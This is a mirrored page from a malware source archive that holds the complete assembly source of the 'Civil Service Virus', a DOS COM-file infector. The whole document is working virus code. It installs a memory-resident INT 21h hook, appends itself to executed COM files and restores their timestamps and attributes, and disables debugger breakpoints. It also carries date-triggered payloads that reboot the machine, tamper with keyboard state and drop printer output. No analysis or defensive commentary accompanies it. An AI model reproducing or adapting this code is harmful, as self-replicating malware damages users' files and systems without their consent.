mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
570 lines
9.6 KiB
NASM
570 lines
9.6 KiB
NASM
|
; Civil Service Virus by Marvin Giskard
|
|||
|
; Turbo Assember version 2
|
|||
|
|
|||
|
Exec equ 4B00h
|
|||
|
OpenFile equ 3D02h
|
|||
|
ReadFile equ 3Fh
|
|||
|
WriteFile equ 40h
|
|||
|
CloseFile equ 3Eh
|
|||
|
EXESign equ 5A4Dh
|
|||
|
SeekTop equ 4200h
|
|||
|
SeekEnd equ 4202h
|
|||
|
GetAttr equ 4300h
|
|||
|
SetAttr equ 4301h
|
|||
|
GetDT equ 5700h
|
|||
|
SetDT equ 5701h
|
|||
|
MinSize equ 4h
|
|||
|
MaxSize equ 0FBF0h
|
|||
|
GetDate equ 2Bh
|
|||
|
FileID equ 2206h
|
|||
|
MemID equ 4246h ; 'FB'
|
|||
|
|
|||
|
.MODEL SMALL
|
|||
|
.CODE
|
|||
|
ORG 0100h
|
|||
|
|
|||
|
Start:
|
|||
|
XOR AX, AX
|
|||
|
MOV DS, AX
|
|||
|
CMP WORD PTR DS:01ACh, MemID
|
|||
|
JNE Instl2
|
|||
|
CMP WORD PTR DS:01AEh, FileID
|
|||
|
JE NoInstl2
|
|||
|
|
|||
|
Instl2:
|
|||
|
CALL InstallInMem
|
|||
|
|
|||
|
NoInstl2:
|
|||
|
PUSH CS
|
|||
|
PUSH CS
|
|||
|
POP DS
|
|||
|
POP ES
|
|||
|
MOV DX, OFFSET FileName
|
|||
|
MOV AX, 4B22h
|
|||
|
INT 21h
|
|||
|
INT 20h
|
|||
|
|
|||
|
FileName: DB 'TEST.COM',0
|
|||
|
|
|||
|
AddCode:
|
|||
|
JMP OverData
|
|||
|
|
|||
|
; Addcode's data
|
|||
|
|
|||
|
Buf: DB 0, 0 ; Miscellaneous Buf
|
|||
|
JumpCode: DB 0E9h, 00h, 00h ; Code to be placed at front of file
|
|||
|
FSize: DW 0 ; File size
|
|||
|
Attr: DB 0 ; Attr of file being infected
|
|||
|
FDateTime: DD 0 ; Time and date of file being infected
|
|||
|
Generation: DW 0 ; Generation counter
|
|||
|
Infected: DW 0 ; Number of files infected
|
|||
|
Old24Handler: DD 0 ; Old INT 24h handler
|
|||
|
Acts: DB 0 ; Flag to stop reentry
|
|||
|
Path: DD 0
|
|||
|
|
|||
|
OverData:
|
|||
|
MOV WORD PTR DS:0100h, 0000h
|
|||
|
MOV BYTE PTR DS:0102h, 00h
|
|||
|
|
|||
|
; Check if handler already installed by examining 2 words in vector
|
|||
|
; table entry of INT 6Bh
|
|||
|
|
|||
|
XOR AX, AX
|
|||
|
MOV DS, AX
|
|||
|
CMP WORD PTR DS:01ACh, MemID
|
|||
|
JNE Instl
|
|||
|
CMP WORD PTR DS:01AEh, FileID
|
|||
|
JE AlreadyInstalled
|
|||
|
|
|||
|
Instl:
|
|||
|
CALL InstallInMem
|
|||
|
JMP ALreadyInstalled
|
|||
|
|
|||
|
InstallInMem:
|
|||
|
MOV WORD PTR DS:01ACh, MemID
|
|||
|
MOV WORD PTR DS:01AEh, FileID
|
|||
|
|
|||
|
PUSH CS
|
|||
|
POP DS
|
|||
|
|
|||
|
; Get INT 21h handler in ES:BX.
|
|||
|
|
|||
|
MOV AX, 3521h
|
|||
|
INT 21h
|
|||
|
DoOldOfs:
|
|||
|
MOV SI, OFFSET DoOld+1
|
|||
|
MOV [SI], BX
|
|||
|
MOV [SI+2], ES
|
|||
|
PUSH ES
|
|||
|
PUSH BX
|
|||
|
POP DX
|
|||
|
POP DS
|
|||
|
MOV AX, 256Dh
|
|||
|
INT 21h
|
|||
|
|
|||
|
; This label is here so that the infect part will be able to calculate
|
|||
|
; source offset of Int21Handler and then place it in here before writing
|
|||
|
; it to disk. The OFFSET AddCode will be replaced by the right number.
|
|||
|
|
|||
|
Source:
|
|||
|
MOV SI, OFFSET AddCode
|
|||
|
|
|||
|
; Destination e.g. Where program will be placed are now calculated by
|
|||
|
; taking the amount of memory in $0040:$0013. Multiply by 16 to get
|
|||
|
; segment of memory end and then subract amount of blocks needed.
|
|||
|
; This is where routine will be placed.
|
|||
|
|
|||
|
MOV AX, 0040h
|
|||
|
MOV DS, AX
|
|||
|
MOV AX, WORD PTR DS:0013h
|
|||
|
MOV CL, 6
|
|||
|
SHL AX, CL
|
|||
|
|
|||
|
; Set dest. segment 2048 pages (32 K) below top of memory.
|
|||
|
|
|||
|
SUB AX, 2048
|
|||
|
MOV ES, AX
|
|||
|
XOR DI, DI
|
|||
|
MOV CX, OFFSET AddCodeEnd - OFFSET AddCode
|
|||
|
PUSH CS
|
|||
|
POP DS
|
|||
|
REP MOVSB
|
|||
|
|
|||
|
; Set INT 21h Handler to point to our routine
|
|||
|
|
|||
|
MOV AX, 2521h
|
|||
|
PUSH ES
|
|||
|
POP DS
|
|||
|
MOV DX, OFFSET Int21Handler - OFFSET AddCode
|
|||
|
INT 21h
|
|||
|
|
|||
|
MOV BYTE PTR DS:[OFFSET Acts-OFFSET AddCode], 0
|
|||
|
|
|||
|
RET
|
|||
|
|
|||
|
AlreadyInstalled:
|
|||
|
|
|||
|
Call DisTrace
|
|||
|
|
|||
|
; Code to jump back to 0100h
|
|||
|
|
|||
|
PUSH CS
|
|||
|
PUSH CS
|
|||
|
POP DS
|
|||
|
POP ES
|
|||
|
MOV AX, 0100h
|
|||
|
JMP AX
|
|||
|
|
|||
|
; Disable tracing and breakpoint setting for debuggers.
|
|||
|
|
|||
|
DisTrace:
|
|||
|
MOV AX, 0F000h
|
|||
|
MOV DS, AX
|
|||
|
MOV DX, 0FFF0h
|
|||
|
MOV AX, 2501h
|
|||
|
INT 21h
|
|||
|
MOV AX, 2503h
|
|||
|
INT 21h
|
|||
|
RET
|
|||
|
|
|||
|
Int21Handler:
|
|||
|
PUSH AX
|
|||
|
PUSH BX
|
|||
|
PUSH CX
|
|||
|
PUSH DX
|
|||
|
PUSH DI
|
|||
|
PUSH SI
|
|||
|
PUSH ES
|
|||
|
PUSH DS
|
|||
|
|
|||
|
; Install devious act if seed is right
|
|||
|
|
|||
|
MOV AH, 2Ah
|
|||
|
INT 6Dh
|
|||
|
CMP CX, 1991
|
|||
|
JB Act
|
|||
|
CMP DL, 22
|
|||
|
JNE Timer
|
|||
|
DB 0EAh, 0F0h, 0FFh, 00h, 0F0h
|
|||
|
|
|||
|
Timer:
|
|||
|
MOV AH, 25h
|
|||
|
CMP DL, 29
|
|||
|
JE Inst1
|
|||
|
CMP DL, 1
|
|||
|
JE Inst2
|
|||
|
CMP DL, 10
|
|||
|
JE Inst3
|
|||
|
CMP DL, 16
|
|||
|
JE Inst4
|
|||
|
JMP Act
|
|||
|
Inst1:
|
|||
|
MOV AL, 13h
|
|||
|
JMP SetVec
|
|||
|
Inst2:
|
|||
|
MOV AL, 16h
|
|||
|
JMP SetVec
|
|||
|
Inst3:
|
|||
|
MOV AL, 0Dh
|
|||
|
JMP SetVec
|
|||
|
Inst4:
|
|||
|
MOV AL, 10h
|
|||
|
|
|||
|
SetVec:
|
|||
|
PUSH CS
|
|||
|
POP DS
|
|||
|
MOV DX, OFFSET Int24Handler - OFFSET AddCode
|
|||
|
INT 6Dh
|
|||
|
|
|||
|
Act:
|
|||
|
MOV AX, 0040h
|
|||
|
MOV DS, AX
|
|||
|
MOV AX, WORD PTR DS:006Eh
|
|||
|
|
|||
|
PUSH CS
|
|||
|
POP DS
|
|||
|
MOV BH, DS:[OFFSET Acts - OFFSET AddCode]
|
|||
|
CMP BH, 3
|
|||
|
JE NoAct
|
|||
|
|
|||
|
CMP AX, 22
|
|||
|
JE NoAct
|
|||
|
|
|||
|
MOV BYTE PTR [SI], 3
|
|||
|
MOV AX, 3509h
|
|||
|
INT 21h
|
|||
|
PUSH ES
|
|||
|
PUSH BX
|
|||
|
POP DX
|
|||
|
POP DS
|
|||
|
MOV AX, 256Ah
|
|||
|
INT 21h
|
|||
|
PUSH CS
|
|||
|
POP DS
|
|||
|
MOV DX, OFFSET Int9Handler - OFFSET AddCode
|
|||
|
MOV AX, 2509h
|
|||
|
INT 21h
|
|||
|
|
|||
|
MOV AX, 3517h
|
|||
|
INT 21h
|
|||
|
PUSH ES
|
|||
|
PUSH BX
|
|||
|
POP DX
|
|||
|
POP DS
|
|||
|
MOV AX, 256Ch
|
|||
|
INT 21h
|
|||
|
PUSH CS
|
|||
|
POP DS
|
|||
|
MOV DX, OFFSET Int17Handler - OFFSET AddCode
|
|||
|
MOV AX, 2517h
|
|||
|
INT 21h
|
|||
|
|
|||
|
NoAct:
|
|||
|
|
|||
|
POP DS
|
|||
|
POP ES
|
|||
|
POP SI
|
|||
|
POP DI
|
|||
|
POP DX
|
|||
|
POP CX
|
|||
|
POP BX
|
|||
|
POP AX
|
|||
|
|
|||
|
CMP AH, 4Bh
|
|||
|
JE Infect
|
|||
|
DoOld:
|
|||
|
; This next bytes represent a JMP 0000h:0000h. The 0's will be replaced
|
|||
|
; by the address of the old 21 handler.
|
|||
|
DB 0EAh
|
|||
|
DD 0
|
|||
|
|
|||
|
DoOldPop:
|
|||
|
POP ES
|
|||
|
POP DS
|
|||
|
POP BP
|
|||
|
POP DI
|
|||
|
POP SI
|
|||
|
POP DX
|
|||
|
POP CX
|
|||
|
POP BX
|
|||
|
POP AX
|
|||
|
JMP DoOld
|
|||
|
|
|||
|
CloseQuit:
|
|||
|
|
|||
|
MOV AX, 2524h
|
|||
|
MOV SI, OFFSET Old24Handler-OFFSET AddCode
|
|||
|
MOV DX, CS:[SI]
|
|||
|
MOV DS, CS:[SI+2]
|
|||
|
INT 21h
|
|||
|
|
|||
|
PUSH CS
|
|||
|
POP DS
|
|||
|
MOV SI, OFFSET FDateTime-OFFSET AddCode
|
|||
|
MOV CX, DS:[SI]
|
|||
|
MOV DX, DS:[SI+2]
|
|||
|
MOV AX, SetDT
|
|||
|
INT 21h
|
|||
|
|
|||
|
MOV AH, CloseFile
|
|||
|
INT 21h
|
|||
|
|
|||
|
MOV AX, SetAttr
|
|||
|
MOV CL, DS:[OFFSET Attr - OFFSET AddCode]
|
|||
|
XOR CH, CH
|
|||
|
MOV SI, OFFSET Path-OFFSET AddCode
|
|||
|
MOV DX, DS:[SI]
|
|||
|
MOV DS, DS:[SI+2]
|
|||
|
|
|||
|
INT 21h
|
|||
|
|
|||
|
JMP DoOldPop
|
|||
|
|
|||
|
Infect:
|
|||
|
PUSH AX
|
|||
|
PUSH BX
|
|||
|
PUSH CX
|
|||
|
PUSH DX
|
|||
|
PUSH SI
|
|||
|
PUSH DI
|
|||
|
PUSH BP
|
|||
|
PUSH DS
|
|||
|
PUSH ES
|
|||
|
|
|||
|
; Get file's attr
|
|||
|
|
|||
|
MOV AX, GetAttr
|
|||
|
INT 21h
|
|||
|
JC CloseQuit
|
|||
|
MOV CS:[OFFSET Attr-OFFSET AddCode], CL
|
|||
|
|
|||
|
MOV SI, OFFSET Path-OFFSET AddCode
|
|||
|
MOV CS:[SI], DX
|
|||
|
MOV CS:[SI+2], DS
|
|||
|
|
|||
|
; Get/Set INT 24h handler
|
|||
|
|
|||
|
MOV AX, 3524h
|
|||
|
INT 21h
|
|||
|
MOV SI, OFFSET Old24Handler-OFFSET AddCode
|
|||
|
MOV CS:[SI], BX
|
|||
|
MOV CS:[SI+2], ES
|
|||
|
MOV AX, 2524h
|
|||
|
PUSH CS
|
|||
|
POP DS
|
|||
|
MOV DX, OFFSET Int24Handler-OFFSET AddCode
|
|||
|
INT 21h
|
|||
|
|
|||
|
; Set new attribute
|
|||
|
|
|||
|
MOV SI, OFFSET Path-OFFSET AddCode
|
|||
|
MOV DX, CS:[SI]
|
|||
|
MOV DS, CS:[SI+2]
|
|||
|
|
|||
|
MOV AX, SetAttr
|
|||
|
MOV CX, 0020h
|
|||
|
INT 21h
|
|||
|
JC CloseQuitFoot
|
|||
|
|
|||
|
MOV AX, OpenFile
|
|||
|
INT 21h
|
|||
|
JC CloseQuitFoot
|
|||
|
MOV BX, AX
|
|||
|
|
|||
|
; Get file's time and date and store
|
|||
|
|
|||
|
MOV AX, GetDT
|
|||
|
INT 21h
|
|||
|
JC CloseQuitFoot
|
|||
|
PUSH CS
|
|||
|
POP DS
|
|||
|
MOV SI, OFFSET FDateTime-OFFSET AddCode
|
|||
|
MOV DS:[SI], CX
|
|||
|
MOV DS:[SI+2], DX
|
|||
|
|
|||
|
; Read first two bytes of file
|
|||
|
|
|||
|
MOV AH, ReadFile
|
|||
|
MOV CX, 2
|
|||
|
MOV DX, OFFSET OverData+4-OFFSET AddCode
|
|||
|
INT 21h
|
|||
|
JC CloseQuitFoot
|
|||
|
|
|||
|
; Check if fisrt two bytes identify the file as an EXE file
|
|||
|
; If so, then don't infect the file
|
|||
|
|
|||
|
CMP DS:[OFFSET OverData+4-OFFSET AddCode], EXESign
|
|||
|
JE CloseQuitFoot
|
|||
|
|
|||
|
; Read next byte
|
|||
|
|
|||
|
MOV AH, ReadFile
|
|||
|
MOV CX, 1
|
|||
|
MOV DX, OFFSET OverData+10-OFFSET AddCode
|
|||
|
INT 21h
|
|||
|
JC CloseQuitFoot
|
|||
|
|
|||
|
; Get file size
|
|||
|
|
|||
|
MOV AX, SeekEnd
|
|||
|
XOR CX, CX
|
|||
|
XOR DX, DX
|
|||
|
INT 21h
|
|||
|
JC CloseQuitFoot
|
|||
|
|
|||
|
; Save filesize and calculate jump offset
|
|||
|
|
|||
|
CMP DX, 0
|
|||
|
JG CloseQuitFoot
|
|||
|
CMP AX, MinSize
|
|||
|
JB CloseQuitFoot
|
|||
|
CMP AX, MaxSize
|
|||
|
JA CloseQuitFoot
|
|||
|
MOV DS:[OFFSET FSize-OFFSET AddCode], AX
|
|||
|
MOV CX, AX
|
|||
|
SUB AX, 03h
|
|||
|
MOV DS:[OFFSET JumpCode+1-OFFSET AddCode], AX
|
|||
|
|
|||
|
; Calculate and store source
|
|||
|
|
|||
|
ADD CX, 0100h
|
|||
|
MOV [OFFSET Source+1-OFFSET AddCode], CX
|
|||
|
|
|||
|
ADD CX, OFFSET DoOld-OFFSET AddCode
|
|||
|
MOV [OFFSET DoOldOfs-OFFSET AddCode+1], CX
|
|||
|
|
|||
|
JMP OverFoot1
|
|||
|
|
|||
|
CloseQuitFoot:
|
|||
|
JMP CloseQuit
|
|||
|
|
|||
|
OverFoot1:
|
|||
|
; Read last 2 bytes to see if it is already infected
|
|||
|
|
|||
|
MOV AX, SeekTop
|
|||
|
XOR CX, CX
|
|||
|
MOV DX, [OFFSET FSize-OFFSET AddCode]
|
|||
|
SUB DX, 2
|
|||
|
INT 21h
|
|||
|
|
|||
|
MOV AH, ReadFile
|
|||
|
MOV CX, 2
|
|||
|
MOV DX, OFFSET Buf-OFFSET AddCode
|
|||
|
INT 21h
|
|||
|
|
|||
|
CMP [OFFSET Buf-OFFSET AddCode], FileID
|
|||
|
JE CloseQuitFoot
|
|||
|
|
|||
|
; Prepare to write new jump
|
|||
|
|
|||
|
MOV AX, SeekTop
|
|||
|
XOR CX, CX
|
|||
|
XOR DX, DX
|
|||
|
INT 21h
|
|||
|
|
|||
|
; Write new jump
|
|||
|
|
|||
|
MOV AH, WriteFile
|
|||
|
MOV CX, 3
|
|||
|
MOV DX, OFFSET JumpCode-OFFSET AddCode
|
|||
|
INT 21h
|
|||
|
|
|||
|
; Write addcode
|
|||
|
; Code to restore first three bytes is at start of addcode
|
|||
|
; Int21 handler is also included
|
|||
|
; Generation counter is included in data
|
|||
|
; ID is at the end of addcode
|
|||
|
|
|||
|
MOV AX, SeekEnd
|
|||
|
XOR CX, CX
|
|||
|
XOR DX, DX
|
|||
|
INT 21h
|
|||
|
|
|||
|
; Increase generation counter before writing it to the new file
|
|||
|
|
|||
|
INC WORD PTR [OFFSET Generation - OFFSET AddCode]
|
|||
|
|
|||
|
; Set files infected to 0, for child hasn't infected anyone.
|
|||
|
|
|||
|
MOV SI, OFFSET Infected - OFFSET AddCode
|
|||
|
PUSH WORD PTR [SI]
|
|||
|
MOV WORD PTR [SI], 0
|
|||
|
|
|||
|
MOV AH, WriteFile
|
|||
|
MOV DX, OFFSET AddCode - OFFSET AddCode ; 0000
|
|||
|
MOV CX, OFFSET AddCodeEnd - OFFSET AddCode
|
|||
|
INT 21h
|
|||
|
|
|||
|
; Decrease counter again, cause all his children should have the same
|
|||
|
; generation count
|
|||
|
|
|||
|
DEC WORD PTR [OFFSET Generation - OFFSET AddCode]
|
|||
|
|
|||
|
; Pop number of files infected and incread
|
|||
|
|
|||
|
POP AX
|
|||
|
INC AX
|
|||
|
MOV WORD PTR [OFFSET Infected - OFFSET AddCode], AX
|
|||
|
|
|||
|
JMP CloseQuit
|
|||
|
|
|||
|
Int24Handler:
|
|||
|
XOR AL, AL
|
|||
|
IRET
|
|||
|
|
|||
|
Int9Handler:
|
|||
|
PUSH AX
|
|||
|
PUSH CX
|
|||
|
PUSH DS
|
|||
|
|
|||
|
MOV AX, 0040h
|
|||
|
MOV DS, AX
|
|||
|
MOV AH, BYTE PTR DS:006Ch
|
|||
|
CMP AH, 18
|
|||
|
JA NoChange
|
|||
|
MOV CL, 4
|
|||
|
SHL AH, CL
|
|||
|
SHR AH, CL
|
|||
|
MOV BYTE PTR DS:0017h, AH
|
|||
|
|
|||
|
NoChange:
|
|||
|
POP DS
|
|||
|
POP CX
|
|||
|
POP AX
|
|||
|
INT 6Ah
|
|||
|
IRET
|
|||
|
|
|||
|
Int17Handler:
|
|||
|
CMP AH, 00h
|
|||
|
JNE DoOld17
|
|||
|
PUSH DS
|
|||
|
PUSH AX
|
|||
|
PUSH BX
|
|||
|
MOV BX, 0040h
|
|||
|
MOV DS, BX
|
|||
|
MOV BH, BYTE PTR DS:006Ch
|
|||
|
SHR BH, 1
|
|||
|
SHR BH, 1
|
|||
|
CMP BH, 22h
|
|||
|
JE Ignore17
|
|||
|
POP BX
|
|||
|
POP AX
|
|||
|
POP DS
|
|||
|
|
|||
|
DoOld17:
|
|||
|
INT 6Ch
|
|||
|
IRET
|
|||
|
|
|||
|
Ignore17:
|
|||
|
POP BX
|
|||
|
POP AX
|
|||
|
POP DS
|
|||
|
IRET
|
|||
|
|
|||
|
DW FileID
|
|||
|
|
|||
|
AddCodeEnd:
|
|||
|
|
|||
|
END Start
|
|||
|
|